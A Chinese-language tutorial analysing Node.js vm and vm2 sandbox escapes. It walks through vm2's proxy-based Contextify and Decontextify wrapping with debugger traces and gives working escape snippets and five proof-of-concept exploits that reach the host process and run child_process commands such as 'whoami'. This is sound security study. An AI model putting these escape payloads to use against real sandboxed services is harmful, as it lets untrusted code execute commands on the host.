vm2沙盒逃逸源码分析

前言

vm2在2023年7月已经停止维护了,本文仅用作nodejs沙盒逃逸思路的学习。

vm

vm API

vm的API比较简单,掌握下面这种即可,它结合了其他API命令。

  • vm.Script(code):将要执行的code进行预编译
  • script.runInNewContext():创建和global隔离的作用域(context)当作沙箱,并且执行script的代码

下面是vm使用模板,运行之后可以发现,沙盒内部代码无法访问到沙盒外部变量global.a

1
2
3
4
5
6
7
8
9
10
11
12
const vm = require('vm');
global.a = 1;
const cmd = `
(()=>{
a = 2;
return a;
})();
`;
const script = new vm.Script(cmd);
let result = script.runInNewContext();
console.log(result); // 2
console.log(a); // 1

vm逃逸的本质是,想办法获取到context外部的对象,然后利用global.process实现命令执行。

图 1-1

this逃逸

逃逸点:沙盒里的this默认指向context沙盒。
如图1-1所示,context就是沙箱,它由runInNewContext创建,跟进源码会发现context本质就是一个空对象。

image.png

而在沙箱内,this默认就是指向当前作用域,也就是context这个空对象,下面通过调试验证这个结论。

1
2
3
4
5
6
7
const vm = require('vm');
const fs = require('fs');

const file = `${__dirname}/sandbox.js`;
const script = new vm.Script(fs.readFileSync(file), file);
let result = script.runInNewContext();
console.log(result);
1
this.jasper = "is fucking cute";  // breakpoint

可以看到,我们在沙盒里对this赋值,context这个对象同样会被赋值,验证了我们的猜想。

image.png

这会导致一个什么问题呢?
this指向context,而context显然由外部创建,运行内部代码this却能访问到外部对象context,这就是逃逸点
找到逃逸点之后,自然是想办法rce,这里是找Function,然后返回process,调用它的命令执行函数。
为什么是this.constructor.constructor呢?了解到Function(‘return process’)()满足要求,问题变成如何获取外部Function,显然通过逃逸点this

  • this 空对象
  • this.constructor function Object
  • this.constructor.constructor function Function

实际上,Object.constructor 能取到function Function,是因为Object继承了Function.prototype,而unction.prototype.constructor === Function,具体原因参见原型链污染。

1
2
3
4
5
6
7
8
9
10
11
12
const vm = require('vm');
const cmd = `
(()=>{
const p = this.constructor.constructor('return process')();
var result = p.mainModule.require('child_process').execSync('whoami').toString();
return result;
})();
`;
const script = new vm.Script(cmd);
const context = vm.createContext();
let result = script.runInContext(context);
console.log(result);

对于this逃逸,一种修复方案是:将context的原型置为null,这样我们就无法通过原型链获取process了。

1
2
3
4
5
6
7
8
9
10
const vm = require('vm');
const fs = require('fs');

const file = `${__dirname}/sandbox.js`;
const script = new vm.Script(fs.readFileSync(file), file);
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
let result = script.runInContext(context);
console.log(result);

下图可以看到,使用这种方式创建的context是没有原型对象的,

image.png

caller逃逸

针对this绑定为null的情况,提出的另一种获取外部变量的方式:arguments.callee.caller
本质:它会返回自身所在函数的调用者,想办法让外部调用我们定义的函数(钩子函数),即可逃逸。

toString方式

通过字符串拼接触发result.toString方法,使得caller为外部变量,进而逃逸、rce。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 2.1 caller逃逸 toString方式
const vm = require('vm');
const cmd =
`(() => {
const a = {}
a.toString = function () {
const acc = arguments.callee.caller;
const p = (acc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const script = new vm.Script(cmd);
const sandbox = Object.create(null)
const context = new vm.createContext(sandbox)
let result = script.runInContext(context);
console.log("trigger toString:"+result);

Proxy方式

利用proxy对象的get钩子函数,访问任意属性都会触发get函数,使得caller为外部变量,进而逃逸、rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 2.2 caller逃逸 Proxy方式
const vm = require('vm');
const script =
`(()=>{
var proxy = new Proxy({}, {
get: function (target, propKey, receiver) {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
},
});
return proxy;
})();`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const proxy = vm.runInContext(script, context);
// 这里可以看作“.”操作符作为caller
console.log(proxy.fuck);

无回显情况

若沙盒执行后的返回结果不可控/不打印,导致rce不回显,可以利用有try catch的点,通过报错回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 2.3 caller逃逸 Proxy方式 沙箱返回结果不回显,用catch error捕获
const vm = require('vm');
const script =
`(()=>{
var proxy = new Proxy({}, {
get: function (target, propKey, receiver) {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
},
});
throw proxy;
})();`;

try {
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
vm.runInContext(script, context);
} catch (e) {
console.log(e.log);
}

vm2

环境搭建

方法一:直接用npm下载,本人测试过没有问题,比较方便

1
npm install vm2@3.6.4

方法二:Github clone源码,然后回退,这里回退的版本是3.6.5

1
2
git clone https://github.com/patriksimek/vm2.git
git reset --hard 7ecabb1

最终的目录结构如下图所示:

image.png

源码分析

本节主要分析vm2如何利用Proxy代理,实现对上下文的封装,保证沙盒环境安全。

  • main.js:底层调用vm的api,实现简单的沙盒执行环境
  • contextify.js:封装与解封的核心代码
  • cli.js:以命令行运行vm2的文件,不是重点
  • sandbox.js:初始化一个沙盒环境,不是重点

分析vm2如何封装沙盒,主要看main.js和contextify.js两个文件。

main.js

main.js主要定义了4个类,并且把它们暴露出去:

  • VM:常用模块,包含vm2这个沙箱的主要逻辑,例如VM.run()方法
  • NodeVM:相比 VM 类多了对模块加载的支持,可以理解为VM的升级版
  • VMScript:预编译模块
  • VMError:错误模块

重点关注VM类,它负责沙箱初始化和运行代码。
首先,看VM#constructor函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
constructor(options = {}) {
super();

// defaults
this.options = {
timeout: options.timeout,
sandbox: options.sandbox,
compiler: options.compiler || 'javascript'
};

const host = {...};

this._context = vm.createContext();

Reflect.defineProperty(this, '_internal', {
value: vm.runInContext(`(function(require, host) { ${cf} \n})`, this._context, {
filename: `${__dirname}/contextify.js`,
displayErrors: false
}).call(this._context, require, host)
});

// prepare global sandbox
if (this.options.sandbox) {
if ('object' !== typeof this.options.sandbox) {
throw new VMError("Sandbox must be object.");
}

for (let name in this.options.sandbox) {
this._internal.Contextify.globalValue(this.options.sandbox[name], name);
}
}
}

注意两个点,第一个是11行的host,它包含了一些常用对象,后面会知道,host里是给沙盒使用的外部对象。
第二个15行,它的逻辑是把contextify.js包装在一个匿名函数里,然后把函数返回结果存入this._internal
其次,看VM#run这个函数,它负责在沙盒中运行危险代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
	run(code) {
if (this.options.compiler !== 'javascript') {
code = _compileToJS(code, this.options.compiler);
}

const script = code instanceof VMScript ? code : new VMScript(code);

try {
return this._internal.Decontextify.value(script.compile()._compiled.runInContext(this._context, {
filename: script.filename,
displayErrors: false,
timeout: this.options.timeout
}));
} catch (e) {
throw this._internal.Decontextify.value(e);
}
}

第9行,它返回的是this._internal.Decontextify.value(代码运行结果),之后会了解到,这是对沙盒里运行的危险代码的返回结果做了一个解封装的操作。
main.js的作用就是暴露出这四个类供用户使用,例如在调试代码的第1行:

1
2
3
4
5
const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;
const script = new VMScript(fs.readFileSync(file), file);
console.log(new VM().run(script));

contextify.js

contextify.js实际上是代码片段,定义了一系列变量,主要包括两个核心的对象:Contextify 和 Decontextify。
其中Contextify用于在沙盒环境中封装对象,Decontextify用于在沙盒环境外解封对象。

首先看Contextify,它负责在沙盒内部封装对象,根据对象的不同类型,实现了一系列封装对象的方法:

image.png

先关注Contextify#value,它根据要封装的对象类型,分发给不同的方法去进行对象的封装:
image.png
审计各个方法的代码,可以发现所有的方法最终都会进到Contextify#object,我们直接看Contextify#object。
Contextify#object的逻辑是:创建一个proxy对象,封装传入参数的object,并设置对应的handlers(钩子函数),然后缓存封装好的代理对象,并返回该对象:

image.png

再看它是如何设置handlers的,它把host.Object.assign({...}, traps, deepTraps)的输出作为handlers其中省略部分是object函数自己设置的钩子函数,traps和deepTraps则是Contextify#objec函数的caller函数设置的钩子函数,而Object.assign的合并规则默认是参数从右向左覆盖:

1
2
3
4
5
6
7
8
9
10
// 目标对象
const target = { a: 1, b: 2 };
// 源对象1
const source1 = { b: 3, c: 4 };
// 源对象2
const source2 = { c: 5, d: 6 };
// 将源对象的属性复制到目标对象
const result = Object.assign(target, source1, source2);
// source1 覆盖 source2
console.log(result); // 输出: { a: 1, b: 3, c: 5, d: 6 }

所以钩子函数的优先级是:deepTraps>traps>自定义。
再看一下Contextify#object设置的钩子函数,可以发现如果想访问constructor,会返回Object导致无法逃逸:

image.png

小结:Contextify对象根据待封装对象的类型,调用对应方法进行封装,每个方法最后都会进入到Contextify#object,它返回封装好的代理对象。封装的本质就是给对象套一层代理,代理对象会设置钩子函数来保障安全。

其次看Decontextify,它负责在沙盒外部解封对象,它同样实现了一系列解封对象的方法:

image.png

出于Contextify和Decontextify代码逻辑的对称性,Decontextify只讲一些需要注意的点。
首先是Decontextify#object的逻辑,会发现和Contextify#object非常相似,都是把object参数封装成proxy:

image.png

解封为什么还是要封装成proxy?答案在proxy对象的钩子函数的区别上。
实际上所谓解封,就是再套一层代理,代理对象的钩子函数变了,使得对代理的安全限制解除了。
可以看到,Decontextify的钩子函数,使得访问constructor会返回外部对象host.Object,而不是Object:

image.png

小结:Decontextify对象根据待解封对象的类型,调用对应方法进行解封,每个方法最后都会进入到Decontextify#object,它返回解封后的代理对象。解封的本质还是给对象再套一层代理,代理对象会设置钩子函数去除Contextify带来的限制。

最后再看一下文件末尾,主要是把Buffer封装成代理对象,然后返回定义好的Contextify、Decontextify等对象:

1
2
3
4
5
6
7
8
9
10
const LocalBuffer = global.Buffer = Contextify.readonly(host.Buffer, {
allocUnsafe: function(size) { return this.alloc(size) },
allocUnsafeSlow: function(size) { return this.alloc(size) }
});

return {
Contextify,
Decontextify,
Buffer: LocalBuffer
}

代码示例

这里通过调试触发Buffer的钩子函数的代码,更好地理解vm2的封装与解封的思路。

1
2
3
4
5
const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;
const script = new VMScript(fs.readFileSync(file), file);
console.log(new VM().run(script));
1
2
3
let a = Buffer.from("");    //访问并运行Buffer的from方法,将运行结果赋值给a:触发function hook
a.i = () => {}; //将a.i设置成一个函数:触发setter hook
console.log(a.i); //访问对象a的i属性:触发getter hook

首先是沙盒的第一行代码,访问Buffer代理对象的from方法,观察会触发哪些hook。
这里最先触发的是Contextify#function#get,先尝试get获取from函数,很好理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
object(), contextify.js:326
function(), contextify.js:282
value(), contextify.js:449
get(), contextify.js:313
anonymous(), sandbox.js:1
runInContext(), vm:133
run(), main.js:204
anonymous(), escape.js:5
Module._compile(), loader:1376
Module._extensions..js(), loader:1435
Module.load(), loader:1207
Module._load(), loader:1023
executeUserEntryPoint(), run_main:135
anonymous(), run_main_module:28

前面提到过,Contextify#value用于分发待封装的对象,这里获取到from方法后,交由Contextify#value分发:
image.png
由于from是function类型,分发后又回到Contextify#function这个方法中,这里的value已经是from函数了:image.png

最后进入Contextify#object,封装并返回from函数的代理对象:

image.png

第二个触发的是Contextify#function#apply,它负责在沙盒中调用函数,这里显然是调用刚取到的from方法。

1
2
3
4
5
6
7
8
9
10
11
apply(), contextify.js:288
anonymous(), sandbox.js:1
runInContext(), vm:133
run(), main.js:204
anonymous(), escape.js:5
Module._compile(), loader:1376
Module._extensions..js(), loader:1435
Module.load(), loader:1207
Module._load(), loader:1023
executeUserEntryPoint(), run_main:135
anonymous(), run_main_module:28

可以看到,它先对context、args解封,再运行fnc.apply获取函数实际返回结果,最后再对返回结果进行封装:
image.png
至此沙盒的第一行代码分析, 可以发现”封装”与”解封”的思想贯穿了整个流程。
其次是沙盒的第二行代码,对from函数的返回结果a(代理对象)做set操作,观察会触发哪些hook。
这里最先触发的是Contextify#object#set,因为是把匿名函数()=>{}赋值给a.i,而a是代理对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
object(), contextify.js:120
function(), contextify.js:81
value(), contextify.js:237
set(), contextify.js:345
anonymous(), sandbox.js:2
runInContext(), vm:133
run(), main.js:204
anonymous(), escape.js:5
Module._compile(), loader:1376
Module._extensions..js(), loader:1435
Module.load(), loader:1207
Module._load(), loader:1023
executeUserEntryPoint(), run_main:135
anonymous(), run_main_module:28

可以看到,代码先对value(匿名函数)解封,然后再赋值给object[key]完成set操作:

image.png

由于value是一个函数,通过Decontextify#value分发,会进入Decontextify#function,注意这里的钩子函数

image.png
最后进入Decontextify#object,对钩子函数进行合并,并返回value的代理对象。
这里有个问题,value(匿名函数)并没有封装过,在这里却进行了一次解封才赋值给a.i,而变成了代理对象:

image.png

注意到Decontextify的顺序,value->function->object,function会覆盖object的hook:
image.png
根据上文,解封过的对象a.i,访问其constructor会触发getter,返回外部对象host.Function:

image.png

至此沙盒的第二行代码分析完成,我们发现a.i.constructor===host.Function,似乎可以逃逸出去?
最后是沙盒的第三行代码,通过打印输出a.i,观察是否可以获取到能逃逸的代理对象a.i。

1
2
3
4
5
6
7
8
9
10
11
12
value(), contextify.js:417
get(), contextify.js:271
anonymous(), sandbox.js:3
runInContext(), vm:133
run(), main.js:204
anonymous(), escape.js:5
Module._compile(), loader:1376
Module._extensions..js(), loader:1435
Module.load(), loader:1207
Module._load(), loader:1023
executeUserEntryPoint(), run_main:135
anonymous(), run_main_module:28

这里最先触发的是Contextify#instance#get,显然是我们获取代理对象a的i属性时触发了getter。
很遗憾,在这个getter返回时,会先把a.i进行封装,然后再返回,我们无法获取到解封时那个a.i,也就无法逃逸:

image.png

由于value(a.i)在第二行代码运行时保留了缓存,所以直接查询缓存返回:

image.png

至此本示例分析完毕。
小结:可以发现,Contextify和Decontextify并不是简单的互补关系,而更像一种覆盖关系,代理对象能否访问外部变量取决于最外层的代理是谁封装的。Contextify使对象无法访问到外部变量,Decontextify使对象可以访问到外部变量。一个对象可以不封装而直接解封,这样它就能直接访问外部变量。

漏洞分析

1
2
3
4
5
6
7
8
9
10
"use strict";
const {VM, VMScript} = require('vm2');
const fs = require('fs');
const file = `${__dirname}/sandbox.js`;
const script = new VMScript(fs.readFileSync(file), file);
try{
console.log(new VM().run(script));
}catch (x){
console.log(x);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// poc1
var process;
Object.prototype.has=(t,k)=>{
process = t.constructor("return process")();
}
"" in Buffer.from;
process.mainModule.require("child_process").execSync("whoami").toString()

// poc2
var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("whoami").toString();

// poc3
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){

}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()

// poc4
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

// poc5 测试未通过,和版本有关。
Symbol = {
get toStringTag(){
throw f=>f.constructor("return process")()
}
};
try{
Buffer.from(new Map());
}catch(f){
Symbol = {};
f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

参考链接

https://www.anquanke.com/post/id/207283
https://www.anquanke.com/post/id/207291
https://xz.aliyun.com/t/11859
https://www.cnblogs.com/zpchcbd/p/16899212.html
p牛知识星球